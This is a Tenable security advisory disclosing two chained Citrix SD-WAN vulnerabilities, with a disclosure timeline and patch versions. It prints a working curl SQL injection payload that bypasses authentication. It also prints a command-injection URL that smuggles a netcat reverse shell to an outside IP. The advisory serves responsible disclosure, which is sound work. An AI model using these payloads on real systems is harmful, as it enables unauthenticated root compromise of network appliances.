Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Citrix SD-WAN Appliance Multiple Vulnerabilities

Critical

Synopsis

Multiple vulnerabilities were discovered in the Citrix SD-WAN appliance. By exploiting the vulnerabilities in combination, a remote, unauthenticated attacker can gain root access.

CVE-2019-12989: Unauthenticated SQL Injection /sdwan/nitro/v1/config/get_package_file

The cgi-bin/sdwanrestapi/getpackagefile.cgi Perl script contains a SQL injection vulnerability that can be exploited by a remote, unauthenticated attacker. Input validation is not applied before incorporating user input in a SQL query. By exploiting this vulnerability with a crafted HTTP request, an attacker is able to write to (and create) files in locations writable by the 'mysql' user. For instance, a file can be created in the /tmp directory. A SQL injection payload can be constructed in such a way that the attacker is able to completely bypass the authentication mechanism by writing a token file to the /tmp directory.

The SQL injection vulnerability can be triggered by crafting the HTTP POST request such that:

  • An HTTP header 'SSL_CLIENT_VERIFY' is set with the value 'SUCCESS'
  • '?action=file_download'
  • Content-type is 'application/json'
  • Post data is a JSON containing the SQL injection payload in the 'site_name'
Below is vulnerable code. However, there are other vulnerable queries:
175 if($package_type eq "active"){
176     $query = "SELECT observed_sw_revision, appliance_name, expected_sw_revision, package_file_name from Network_Appliance_Active " .
177             "WHERE site_name ='" . $site_name_arg . "' AND  " .
178             "appliance_id=" . $appliance_id_arg.";";
179 }
Proof of Concept
In the curl command below, a token file will be created at /tmp/token_01234.
curl --insecure -H 'SSL_CLIENT_VERIFY: SUCCESS' -H 'Content-Type: application/json' -d '{"get_package_file": {"site_name": "blah'"' union select 'tenable','zero','day','research' INTO OUTFILE '/tmp/token_01234';#\""',"appliance_type": "primary","package_type": "active"}}' https://192.168.1.212/sdwan/nitro/v1/config/get_package_file?action=file_download
Next visit this address in a web browser. You should be logged in.:
https://192.168.1.212/cgi-bin/vwdash.cgi?swc-token=01234

CVE-2019-12991: Authenticated Command Injection /cgi-bin/installpatch.cgi

Installpatch.cgi suffers from a command injection vulnerability. This vulnerability can be exploited by a remote, authenticated attacker to execute OS commands with root privileges. Specifically, the 'installfile' parameter value is not validated prior to using it in a call to the Perl system() function.

Proof of Concept
After having bypassed auth, visit this URL.
https://192.168.1.212/cgi-bin/installpatch.cgi?swc-token=01234&installfile=`sudo%20nc%20-nv%20192.168.1.191%204444%20-e%20/bin/bash`

Solution

Upgrade to 10.0.8 or 10.2.3 for security update.

Disclosure Timeline

05/23/2019 - Tenable discloses vulnerabilities to Citrix. 90-day date is August 21, 2019.
05/24/2019 - Citrix has opened a case to investigate.
06/04/2019 - Tenable asks for an update.
06/04/2019 - Citrix confirms the bugs. They intend to patch before 90-day date.
06/05/2019 - Tenable thanks Citrix for the update.
06/11/2019 - Tenable notices 10.2.3 was just released. Asks Citrix if these bugs were fixed because we can't download the new version successfully.
06/12/2019 - Response from Citrix: "Citrix will publish which versions have relevant fixes when we publish our Security Bulletin with respect to your findings and these issues." Citrix also reconfirms disclosure date.
06/18/2019 - Tenable asks for an update.
06/18/2019 - Citrix says they are on schedule to release a patch by the 90-day date.
06/18/2019 - Tenable thanks Citrix. We will continue to follow up periodically.
06/26/2019 - Citrix advises that they are planning to release a public bulletin within the next two weeks. They hope to have a more specific date in the next few days. Asks Tenable how to give credit.
06/27/2019 - Tenable acknowledges. Asks to be updated when a more specific date is decided on. Credit looks good. Asks about CVE identifiers and the patched version number.
07/02/2019 - Tenable asks for an update.
07/02/2019 - Tenable notices that version 10.2.3 patches all issues. Advisory released.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2019-32
Credit:
Chris Lyne
CVSSv2 Base / Temporal Score:
9.0 / 7.4
CVSSv2 Vector:
(AV:N/AC:L/Au:S/C:C/I:C/A:C)
Affected Products:
NetScaler SD-WAN 9.x
NetScaler SD-WAN 10.0.x before 10.0.8
Citrix SD-WAN 10.1.x
Citrix SD-WAN 10.2.x before 10.2.3
Risk Factor:
Critical

Advisory Timeline

07/02/2019 - Advisory released.
07/10/2019 - Added bulletin link and CVEs. Updated affected versions and solution.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Try Tenable Web App Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management and Tenable Lumin.

Buy Tenable Web App Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable Lumin

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management and Tenable Web App Scanning.

Buy Tenable Lumin

Contact a Sales Representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable Nessus Professional Free

FREE FOR 7 DAYS

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
Now Available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro Trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Try Tenable Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training